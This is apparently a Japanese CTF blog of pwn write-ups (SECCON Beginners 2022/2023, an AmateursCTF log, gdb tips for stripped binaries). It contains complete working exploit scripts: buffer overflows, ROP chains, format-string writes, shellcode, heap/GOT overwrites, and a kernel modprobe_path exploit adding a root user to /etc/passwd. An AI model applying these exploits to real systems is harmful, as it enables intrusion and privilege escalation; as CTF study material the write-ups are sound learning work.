b'data: ' [DEBUG] Sent 0x10 bytes: b'B' * 0x10 /home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(':', str(index)) [DEBUG] Received 0x22 bytes: b'BBBBBBBBBBBBBBBB is not the flag.\n' [DEBUG] Received 0x2e bytes: b"I'll also let you change one character\n" b'index: ' [DEBUG] Sent 0x3 bytes: b'-8\n' [DEBUG] Received 0xf bytes: b'new character: ' [DEBUG] Sent 0x2 bytes: 00000000 b0 0a │··│ 00000002 /home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(':', str(0xa0)) [DEBUG] Received 0x22 bytes: b'BBBBBBBBBBBBBBBB is not the flag.\n' [DEBUG] Received 0x23 bytes: b'Last chance to guess my flag\n' b'size: ' [DEBUG] Sent 0x4 bytes: b'160\n' [DEBUG] Received 0x6 bytes: b'data: ' [DEBUG] Sent 0xa0 bytes: b'C' * 0xa0 [*] Switching to interactive mode [DEBUG] Received 0xb2 bytes: b'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag.\n' CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag. [DEBUG] Received 0x20 bytes: b'munmap_chunk(): invalid pointer\n' munmap_chunk(): invalid pointer [*] Got EOF while reading in interactive
Flag: flag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}
SECCON Beginners CTF 2023 write-up
まえがき
温度差から来る寝苦しさと涼しさを求めて開けた窓から入ってくる羽虫が鬱陶しい季節がやってきたので、SECCON Beginners CTFが開催されたようです。
No_Controlを除くPwnのみのwrite-upです。
poem
Out of Boundsの脆弱性がある。
int main() { int n; printf("Number[0-4]: "); scanf("%d", &n); // Here if (n < 5) { printf("%s\n", poem[n]); }
負数についてのチェックが存在しないため、グローバル変数として定義されているpoem
よりも低位のアドレスを参照する事ができる。
-4
を入力すると、同じくグローバル変数として定義されているflag
が出力される。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./poem" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("poem.beginners.seccon.games", 9000) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b main c """ p = gdb.debug(chall,cmd) else: p = process(chall) payload = b"-4" p.sendlineafter(':', payload) p.interactive()
flag: ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
rewriter 2
checksecの結果が以下
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2回入力する事ができ、どちらの入力にもBoFが存在する。
しかし、普通にBoFするとcanary
くんを殺してしまう。
こういう複数回の入力が許されている場合、大体は一回目でcanary
を特定すればいいものである。
canary
の特性として最下位 1byteは必ず0x00
になる。
リトルエンディアンの性質上、この最下位 1byteは最初にバッファに侵食される事になる。
従って、ここを任意の文字で埋める事で残りのcanary
をリーク、0x00
を補う事でスタックに元々存在していた完全なcanary
を保管しておき、2回目の入力で復元するとともに、リターンアドレスを書き換える。
対象のバイナリはPIE
が無効であるため、win
関数のアドレスをそのままリターンアドレスに書き込む。
...だけのように見えるのだが、実はこのままだとsystem
関数内のmovaps
命令による例外で上手くsystem("/bin/sh")
が実行されない。
このmovaps
命令はスタックのサイズが0x10
の倍数でアライメントされていない場合、例外を吐くようになっている。
(数年前のctf4bで引っかかって解けなかった苦い思い出)
スタックのサイズは0x8
の倍数であるため、リターンアドレスにret
命令が存在するアドレスを設定する事で、0x8
バイト分スタック小さくなるため、このアライメントを揃える事ができるようになる。
前述したようにPIE
が無効であるため、ret
命令はmain
関数などの適当なところから引っ張ってくればよい。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./rewriter2" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("rewriter2.beginners.seccon.games", 9001) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+78 b *main+153 c """ p = gdb.debug(chall,cmd) else: p = process(chall) win = elf.symbols['win'] payload = b"A" * 0x8 * 5 payload += b'B' p.recvuntil("?") p.send(payload) p.recvuntil('B') canary = u64(b'\0' + p.recv(7)) log.info("canary: " + hex(canary)) rop_ret = 0x00401564 payload = b"A" * 0x8 * 5 payload += p64(canary) payload += b"B" * 0x8 payload += p64(rop_ret) payload += p64(win) p.recvuntil("?") p.send(payload) p.interactive()
flag: ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
Forgot_Some_Exploit
checksec
で確認できる範囲のセキュリティ機構は全て有効。
2回の入力と、FSBが存在するprintf
による出力が2回行われる。
バイナリ内にはwin
関数が存在するため、前述のPIE
の機構を回避してこの関数を実行するのが最終的な目標であると推測できる。
PIE
はバイナリのアドレスをランダマイズする機構であるため、バイナリのアドレスをリークして相対的なオフセットからwin
関数のアドレスを特定する必要がある。
また、win
関数に制御を移すにはリターンアドレスを書き換える必要があるため、スタックのアドレスも同様にリークして相対的なオフセットからリターンアドレスの位置を特定する必要がある。
FSBでは%p
を用いてスタックの内容をリークできるため、一回目の入力では
- バイナリのアドレス
- リターンアドレス付近のスタックのアドレス
をリークする。
手元の環境では%41$p
でecho
関数からmain
関数へのリターンアドレスであるmain+14
のアドレスが、%13$p
でリターンアドレスを保持しているアドレス - 0x8のアドレスがリークできたのだが、リモートで実行すると後者について全く異なる値をリークしてしまう。
glibcのバージョンによってスタックの構成が異なる事があったなぁ、という曖昧な記憶があったので、リモートの環境がUbuntu 22.04であると仮定してGLIBC 2.35-0ubuntu3
のlibc.so.6
とそれに対応したld.so
をlibc databaseから持ってきて強制的にリンクするようパッチした。
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./chall $ patchelf --replace-needed libc.so.6 ./libc.so.6 ./chall
この状態で実行してみると、リターンアドレスを保持するスタックアドレスは%40$p
でリークできる事がわかった。
PIEでランダマイズされていてもmain
関数とwin
関数のアドレスの違いは下位2byteのみであるため、後はリターンアドレスの下位2byteを$hn
を使って書き換えるだけである。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("forgot-some-exploit.beginners.seccon.games", 9002) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *echo+74 b *echo+127 c """ p = gdb.debug(chall,cmd) else: p = process(chall) # local #payload = b'%41$p%13$p' # remote payload = b'%41$p%40$p' p.send(payload) leak = eval(p.recv(14)) log.info("bin leak: " + hex(leak)) bin_base = leak - 0x12ec elf.address = bin_base log.info("bin base: " + hex(bin_base)) win = elf.symbols["win"] log.info("win: " + hex(win)) leak = eval(p.recv(14)) log.info("stack leak: " + hex(leak)) ret_addr = leak - 0x8 log.info("return address@" + hex(ret_addr)) payload = "%{}c%8$hn".format(win+1&0xffff).encode() payload += b'A' * (8 - (len(payload) % 8)) payload += p64(ret_addr) sleep(0.3) p.send(payload) p.interactive()
flag: ctf4b{4ny_w4y_y0u_w4nt_1t}
Elementary_ROP
checksecの結果が以下
[*] '/home/t3mp/ctf/seccon_beginners_2023/pwn/Elementary_ROP/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main関数で皆さんご存知のgets
関数が使用されている上に、No PIEかつNo canaryなのでROPをやるだけ。
一回目でGOTから適当な関数のlibcアドレスをリークして再びmain
関数に戻り、二回目でsystem("/bin/sh")
を実行する。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall_patched" libc = ELF("./libc.so.6") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("elementary-rop.beginners.seccon.games", 9003) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+51 c """ p = gdb.debug(chall,cmd) else: p = process(chall) rop_pop_rdi_ret = 0x0040115a rop_ret = 0x004011ec payload = b"A" * 0x28 payload += p64(rop_ret) payload += p64(rop_pop_rdi_ret) payload += p64(elf.got['printf']) payload += p64(elf.plt['printf']) payload += p64(elf.symbols['main'] + 1) p.recvuntil(":") p.sendline(payload) p.recvuntil('\x20') leak = u64(p.recv(6) + b'\0' * 2) log.info("printf@libc: " + hex(leak)) libc_base = leak - libc.symbols['printf'] log.info("libc base: " + hex(libc_base)) libc.address = libc_base log.info("system@libc: " + hex(libc.symbols["system"])) binsh_addr = next(libc.search(b'/bin/sh\x00')) log.info("/bin/sh: " + hex(binsh_addr)) payload = b"B" * 0x28 payload += p64(rop_ret) payload += p64(rop_pop_rdi_ret) payload += p64(binsh_addr) payload += p64(libc.symbols["system"]) p.recvuntil(":") p.sendline(payload) p.interactive()
flag: ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
driver4b
Kernel問しばらくやってなかったので、とりあえずpawnyable.cafeに行く。
Qemuを実行するrun.sh
を見てみると、有効なセキュリティ機構はKPTIくらいである事がわかる。
参考: https://pawnyable.cafe/linux-kernel/introduction/security.html
従って、
- ユーザー空間のメモリに対する読み書き実行が可能
- Kernel空間の関数や構造体のアドレスはランダマイズされない
という事がわかる。
また、src/config
を見てみると以下のような記述がある。
# Static modprobe_path CONFIG_STATIC_USERMODEHELPER=y CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"
普通のKenrel Configにこのようなコメントが入るはずはないので、おそらく問題の解法において重要なのだろうと推測できる。
pawnyable.cafeからmodprobe_path
について引用させていただく。
modprobe_path
は__request_module
という関数から呼び出されるコマンド文字列で、書き換え可能領域に存在します。
Linuxには実行ファイル形式が複数共存しており、実行権限のあるファイルが実行されるとファイルの先頭のバイト列などから形式を判別します。標準ではELFファイルとshebangが登録されているのですが、このように登録されている形式にマッチしない不明な実行ファイルが呼び出されようとしたとき、__request_module
が使われます。modprobe_path
には標準で/sbin/modprobe
が書かれており、これを書き換えた上で不正な形式の実行ファイルを起動しようとすると、任意のコマンドが実行できます。
つまり、modprobe_path
を書き換えた上で不正な形式の実行ファイル(ヘッダが0xdeadbeef
など)を実行すると、そのpath
に存在するスクリプトを特権で実行してくれるという事である。
なお、modeprobe_path
はおなじみpwntools
を使って以下のように求める事ができる。
なお、前述のようにKernel空間のランダマイズが無効(No KASLR)であるため、このアドレスは固定である。
以上のことから、今回の問題には任意アドレスへの書き込み(AAW)ができる脆弱性があるのだと予想できる。
その上でKernel Moduleのソースコードを読んでみる。
重要なのはmodule_ioctl
なんだろうなぁという事がなんとなくわかる。
/** * Handle ioctl request */ static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { char *msg = (char*)arg; switch (cmd) { case CTF4B_IOCTL_STORE: /* Store message */ memcpy(g_message, msg, CTF4B_MSG_SIZE); break; case CTF4B_IOCTL_LOAD: /* Load message */ memcpy(msg, g_message, CTF4B_MSG_SIZE); break; default: return -EINVAL; } return 0; }
src/ctf4b.h
を見てみると、
#define CTF4B_IOCTL_STORE 0xC7F4B00 #define CTF4B_IOCTL_LOAD 0xC7F4B01 #define CTF4B_MSG_SIZE 0x100
とある事から、以下のようなコードにより、Kernel Moduleのグローバル変数であるg_message
への書き込み、読み込みが可能である事がわかる。
...と、ここまでブログを書いたところで、親切にexample.c
が存在する事に気づいたので、これをそのまま貼らせていただく。
#include "../src/ctf4b.h" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> void fatal(const char *msg) { perror(msg); exit(1); } int main() { char *buf; int fd; fd = open("/dev/ctf4b", O_RDWR); if (fd == -1) fatal("/dev/ctf4b"); buf = (char*)malloc(CTF4B_MSG_SIZE); if (!buf) { close(fd); fatal("malloc"); } /* Get message */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, buf); printf("Message from ctf4b: %s\n", buf); /* Update message */ strcpy(buf, "Enjoy it!"); ioctl(fd, CTF4B_IOCTL_STORE, buf); /* Get message again */ memset(buf, 0, CTF4B_MSG_SIZE); ioctl(fd, CTF4B_IOCTL_LOAD, buf); printf("Message from ctf4b: %s\n", buf); free(buf); close(fd); return 0; }
一見するとKernel ModuleにBoFも何もないので安全なように見えるが、前述のようにユーザー空間のメモリに対する読み書き実行が可能である事から、ユーザー空間のexploitに書かれたポインタをそのまま利用する事ができてしまう。
つまり、CTF4b_IOCTL_LOAD
においてg_message
の内容を書き込む先として渡すポインタにKernel空間のアドレスを渡す事ができるため、AAWができる。
これを使用してmodprobe_path
を書き換えれば良い。
全体的なexploitの流れは以下のようになる。
g_message
に/tmp/evil.sh
を書き込む (modprobe_path
書き換え用)- 特権で実行して欲しいスクリプトを
/tmp/evil.sh
に書き込む modprobe_path
をg_message
の書き込み先としてCTF4B_IOCTL_LOAD
を行う事でmodprobe_path
を書き換える- デタラメな実行ファイルを実行する
/tmp/evil.sh
が発火 win !
以下が実際のexploit
#include "../src/ctf4b.h" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define ulong unsigned long void fatal(const char *msg) { perror(msg); exit(1); } int main() { char *buf; int fd; ulong modprobe_path = 0xffffffff81e3a080; fd = open("/dev/ctf4b", O_RDWR); if (fd == -1) fatal("/dev/ctf4b"); buf = (char*)malloc(0x100); if (!buf) { close(fd); fatal("malloc"); } /* Update message */ memset(buf, 0, 0x100); strcpy(buf, "/tmp/evil.sh"); ioctl(fd, CTF4B_IOCTL_STORE, buf); /* Prepare evil script */ FILE *file = fopen("/tmp/evil.sh", "w"); if (file == NULL) fatal("evil.sh"); fprintf(file, "#!/bin/sh\necho \"t3mp::0:0:root:/root:/bin/sh\" >> /etc/passwd\n"); fclose(file); system("chmod +x /tmp/evil.sh"); /* Overwrite modprobe_path */ char* ptr = (char*)modprobe_path; ioctl(fd, CTF4B_IOCTL_LOAD, ptr); system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn"); system("chmod +x /tmp/pwn"); system("/tmp/pwn"); free(buf); close(fd); puts("Win! You can execute $ su t3mp"); return 0; }
/tmp/evil.sh
にchmod -R 777 /root
と書けばflagは得れるのだが、個人的にroot shellが出てくると嬉しいので冗長なコードを書いている。
flag: ctf4b{HOMEWORK:Write_a_stable_exploit_with_KASLR_enabled}
AAR作ってアドレスリークするのかな...?
実はこの問題は開催して最初の方に手を付けていたのだが、evil.sh
にshebangは必要である事に気づかず、解くのが非常に遅くなってしまった...無念。
No_Control
scanf
でstackとheapを整数の文字列で汚染できる事はわかったが、そこから先が何も...
あとがき
今年もHeapに破れた...
色々をやっていたらブログの更新が一年近く空いてしまった事に驚いている。
SECCON Beginners CTF 2022 write-up
try harder...
まえがき
今年も寝る時の温度調整に困る時期がやってきたので、SECCON Beginners CTF 2022が開催されました。
最初に書いておきますが、pwnableのみのwrite-upです。
他の問題はふんわりとしか解いていないので...
BeginnersBof
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86ef4ca27c36d4407e00eb318b228011ce11ac63, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
checksecで確認できるセキュリティ機構は全部なし。
解法
入力用のバッファよりも大きい入力が可能である上に、前述のようにセキュリティ機構がないのでシンプルなBoFができる。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("beginnersbof.quals.beginners.seccon.jp", 9000) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b main+178 c """ p = gdb.debug(chall,cmd) else: p = process(chall) win_func_addr = elf.symbols['win'] payload = b"A" * 8 * 5 payload += p64(win_func_addr) p.recvuntil("How long is your name?") p.sendline(str(len(payload) + 2)) p.recvuntil("What's your name?") p.sendline(payload) p.interactive()
raindrop
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cba1707049faf8a4e56b2adfe2b8e9813e087e12, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
解法
PIEが無効かつcanaryがないため、ROPを組む事を考える。
しかし、入力できるバッファのサイズが0x30 byteであるのに対して、バッファからリターンアドレスまでの距離が0x18 byteであるため、残りの0x18 byteでROPを組む必要がある。
このサイズでシェルを奪うROPを組む方法を思いつかなかったため、vuln関数内のreadの処理(vuln+64
)をもう一度呼び出す事にした。
手元の環境でもう一度呼び出して見ると、二回目のread関数の引数はread(0, [rbp - 0x10], 0x30)
のようになる事がわかる。
この時のrbpの値はret命令直前のleave命令によってリターンアドレス前のsaved rbpの値になるため、実質的に任意のアドレスへの書き込みが可能となる。
2回目の入力で直接リターンアドレスを書き換えれば、前述の0x18 byteの制限がリターンアドレスを含めた0x30 byteまでの制限に緩和できるため、一回目の入力前のshow_stack
関数の出力からスタック上のアドレスを取得し、そこから2回目の入力で直接リターンアドレスを書き換えれるアドレスまでのオフセットを求めた。
これによって、movaps
命令によるスタックのアライメントに起因するエラーを回避(ret命令を一回実行するだけ)しつつsystem
関数の引数を設定してシェルを起動するROPを組む事ができる。
(exploitではpayloadのダイエットのために一回目のバッファに/bin/sh
を置いているが、2回目のペイロードの制限である0x30 byteまで余裕があるので必要ではない...)
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("raindrop.quals.beginners.seccon.jp", 9001) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *vuln+112 c """ p = gdb.debug(chall,cmd) else: p = process(chall) # Get stack address p.recvuntil("000002 | ") ## 1st payload start address payload_addr = eval(p.recv(18)) - 0x20 log.info("payload@stack: " + hex(payload_addr)) ## 2nd payload start address payload_2nd_addr = payload_addr + 0x18 log.info("payload2@stack: " + hex(payload_2nd_addr)) # 1st payload (recall read@vuln) payload = b'/bin/sh\0' payload += b'A' * 8 payload += p64(payload_2nd_addr + 0x10)# saved rbp payload += p64(0x401246)# vuln+64 ## read(0, [saved rbp - 0x10], 0x30) # 2nd payload (exec shell) payload2 = p64(0x401453)# pop rdi; ret payload2 += p64(payload_addr) payload2 += p64(0x40101a)# ret (for movaps) payload2 += p64(elf.plt['system']) p.recvuntil("Did you understand?") p.sendline(payload) sleep(1) p.sendline(payload2) p.interactive()
[追記] 競技後にRIRUさんからもっとシンプルにまとめる案をいただきました。
一回目の時点でバッファのアドレスはわかっているため、バッファ内に/bin/sh
を置くのはそのままで、残りの0x18 byteをそれぞれ、
1. pop rdi; ret;
2. /bin/sh
のアドレス
3. system@plt
として使用する方法です。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("raindrop.quals.beginners.seccon.jp", 9001) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *vuln+112 c """ p = gdb.debug(chall,cmd) else: p = process(chall) # Get stack address p.recvuntil("000002 | ") ## payload start address buf_addr = eval(p.recv(18)) - 0x20 log.info("buffer@stack: " + hex(buf_addr)) # payload payload = b'/bin/sh\0' payload += b'A' * 8 payload += p64(0x40101a)# pop rdi; ret payload += p64(buf_addr) payload += p64(elf.plt['system']) p.recvuntil("Did you understand?") p.sendline(payload) p.interactive()
一発で通るしこっちの方がシンプルでいいですね。
RIRUさん、ありがとうございました。
snowdrop
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9e7476418f9c7f3e7069f3b041c09ed5e46aa64f, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
解法
スタック領域が実行可能なので、スタック上でのシェルコード実行を考える。
raindropと同じ要領でスタック上のアドレスを取得し、リターンアドレスをスタック上のシェルコードのアドレスに書き換えた。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("snowdrop.quals.beginners.seccon.jp", 9002) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+107 c """ p = gdb.debug(chall,cmd) else: p = process(chall) p.recvuntil("000006 | ") payload_addr = eval(p.recv(18)) -0x268 log.info("payload@stack: " + hex(payload_addr)) payload = b"" payload += b'A' * 8 * 3 payload += p64(payload_addr + len(payload) + 8) payload += asm(shellcraft.sh()) p.recvuntil("Did you understand?") p.sendline(payload) p.interactive()
simplelist
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/t3mp/ctf/seccon_beginners_2022/pwn/simplelist/ld-2.33.so, for GNU/Linux 3.2.0, BuildID[sha1]=c1ea22cea66863313f8fa1c228051f7d991d4dcb, not stripped
Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)
解法
問題にglibc 2.33が同梱されていたため、「2.32以降のglibcの問題に取り組んだ事ないから詰んだか...?」と焦ったが、よくよく見てみるとcreate関数とedit関数に自明なheap overflowがあったので安心した...
(house of * 周りも精進したい)
void create() { ---- snipped ---- gets(e->content);// overflow e->next = NULL; list_add(e); }
void edit() { ---- snipped ---- printf("New content: "); gets(e->content);// overflow }
これらの関数によって管理されるメモは、
typedef struct memo { struct memo *next; char content[CONTENT_SIZE]; } Memo;
のような構造で管理されているため、heap overflowによって次のメモのアドレス(*next)を書き換える事が出来る。
libcのアドレスをリークしないとシェルを奪うのに不便なので、てきとうにsetvbuf
関数のGOTをnextに置く事で、libc上のsetvbuf
関数のアドレスをリークする。
(ただしshow関数を使用してアドレスをリークしようとするとsetvbuf
関数の機械語をポインタとして参照しようとしてSIGSEGVで落ちるので、edit関数のOld contentを通してリークする。)
アドレスリークによってlibc上のsystem
関数のアドレスを算出できるので、メニュー選択で使用するatoi
関数のGOTをsystem
関数に書き換え、シェルを起動する。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" libc = ELF("./libc-2.33.so") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("simplelist.quals.beginners.seccon.jp", 9003) elif len(argv) >= 2 and argv[1] == "d": cmd = """ c loadsym """ p = gdb.debug(chall,cmd) else: p = process(chall) def create(buf): p.recvuntil(">") p.sendline('1') p.recvuntil("Content:") p.sendline(buf) def edit(index, buf): p.recvuntil(">") p.sendline('2') p.recvuntil("index:") p.sendline(str(index)) p.recvuntil("New content:") p.sendline(buf) create(b'A' * 0x20) create(b'B' * 0x20) # overwrite next address(index=1) payload = b'C' * 0x20# buffer for index 0 payload += p64(0x31) # heap chunk header payload += p64(elf.got['setvbuf'] - 0x8)# next address edit(0, payload) # leak libc address p.recvuntil(">") p.sendline('2') p.recvuntil("index:") p.sendline(str(2)) p.recvuntil("Old content: ") setvbuf_libc_addr = u64(p.recvline().rstrip(b'\n') + b'\00' * 2) log.info("setvbuf@libc: " + hex(setvbuf_libc_addr)) libc_base = setvbuf_libc_addr - libc.symbols['setvbuf'] log.info("libc base: " + hex(libc_base)) system_libc_addr = libc_base + libc.symbols['system'] log.info("system@libc: " + hex(system_libc_addr)) p.recvuntil("New content:") p.sendline(b'') # GOT overwrite (atoi@got -> system@libc) payload = b'C' * 0x20# buffer for index 0 payload += p64(0x31) # heap chunk header payload += p64(elf.got['atoi'] - 0x8) edit(0, payload) edit(2, p64(system_libc_addr)) # exec shell p.recvuntil(">") p.sendline("/bin/sh") p.interactive()
あとがき
Monkey Heap倒して全完したかった...
SECCON Beginners CTFは毎年悔しい思い出ができるので、精進しなくてはという気持ちに駆られる。
strippedなバイナリをgdbで動的解析する
まえがき
ゲームも小説も飽きてしまったので、CTFのpwnに本腰入れようと昨日の夜からぶっ通しで色々やっていました。
去年の暮れ頃に開催されたCTFの問題やらに手を出して、pwnable.xyzの存在を知ったので、早速取り組む事に。
しかしながら一問目のWelcome問題からつまづいてしまったので、その時の簡易的なメモ。
つまづいた点
pwnable.xyzのwelcome問題を静的解析してみると、mallocでヒープ領域に値を動的確保している事がわかったのでgdbでヒープ領域の変遷を観察しようと考える。
しかし、実際にgdbに渡してみると...
$ gdb -q ./challenge Reading symbols from ./challenge... (No debugging symbols found in ./challenge) gdb-peda$ b main Function "main" not defined. gdb-peda$ start No unwaited-for children left. Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] gdb-peda$ info func All defined functions: Non-debugging symbols: 0x00005555555548b0 puts@plt 0x00005555555548b8 write@plt 0x00005555555548c0 __stack_chk_fail@plt 0x00005555555548c8 system@plt 0x00005555555548d0 alarm@plt 0x00005555555548d8 read@plt 0x00005555555548e0 signal@plt 0x00005555555548e8 malloc@plt 0x00005555555548f0 __printf_chk@plt 0x00005555555548f8 setvbuf@plt 0x0000555555554900 __isoc99_scanf@plt 0x0000555555554908 exit@plt 0x0000555555554910 __cxa_finalize@plt
何故かmain関数は見つからないし、当然ながらブレークポイントも貼れない...
なんでダメだったのか
A. バイナリがstippedだったから
fileコマンドでバイナリを見てみると、
$ file ./challenge ./challenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c86fc6fe1662d8037294b634c1cd0011bb304cb, stripped
よくあるx86-64向けのELFで、動的リンク。
しかし、最後の方にstripped
と表示されている事がわかる。
これについて、かの有名なハリネズミ本で読んだ記憶がうっすらとあり、ページをめくり探してみると以下のような記述があったので引用させていただく。
3つめとの差分として、strippedという単語が末尾に見えると思います。
これは、シンボル情報が削除されていることを示します。
シンボル情報とは、関数名やアドレスなどを示したものです。
これは、stripコマンドで実現されます。
バイナリ内にmain関数に該当する処理は存在しているが関数名とアドレスに関する情報が無い為、gdbはどこがmain関数なのかわからなかった様子。
これで、ブレークポイントが貼れず、関数情報を表示させてもmain関数が見当たらなかった理由がわかった。
解決策
結論から言ってしまうと、バイナリを一回適当に走らせて、その後__libc_start_main
にブレークポイントを貼り、その時の第一引数を見ればmain関数のアドレスがわかるので動的解析の糸口になる。
まず、一回適当に走らせる事で動的にglibcがリンクする。
これによって__libc_start_mainをgdb上で検出できるようになる。
実際に見てみると、
$ gdb -q ./challeng Reading symbols from ./challenge... (No debugging symbols found in ./challenge) gdb-peda$ run Starting program: /home/t3mp/CTF/pwnable.xyz/image/challenge/challenge Welcome. Leak: 0x7ffff7d7c010 Length of your message: 1 # 適当に入力してプログラムを終了させる Enter your message: 1 [Inferior 1 (process 6176) exited normally] # プログラム終了 Warning: not running gdb-peda$ gdb-peda$ info func (出力が多すぎるので一部省略) 0x00007ffff7de2550 calloc@plt 0x00007ffff7de2560 *ABS*+0xa36c0@plt 0x00007ffff7de2570 *ABS*+0xa22d0@plt 0x00007ffff7de2580 *ABS*+0xa2890@plt 0x00007ffff7de2590 *ABS*+0xa3590@plt 0x00007ffff7de25a0 *ABS*+0xa3760@plt 0x00007ffff7de25b0 *ABS*+0xbf9a0@plt 0x00007ffff7de25c0 *ABS*+0xbfe60@plt 0x00007ffff7de25d0 *ABS*+0xa4dd0@plt 0x00007ffff7de25e0 *ABS*+0xa2960@plt 0x00007ffff7de25f0 *ABS*+0xa2220@plt 0x00007ffff7de2600 *ABS*+0xa3930@plt 0x00007ffff7de2610 *ABS*+0xa2900@plt 0x00007ffff7de2620 *ABS*+0xa3600@plt gdb-peda$ info symbol __libc_start_main __libc_start_main in section .text of /lib/x86_64-linux-gnu/libc.so.6
といった感じで、glibc上の__libc_start_main
を検出できている。
__libc_start_main
は関数名から察せるように、main関数を呼び出す処理を行っている。
実際にglibcのソースコードを探してみると、/csu/libc-start.c
に、
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),<省略>
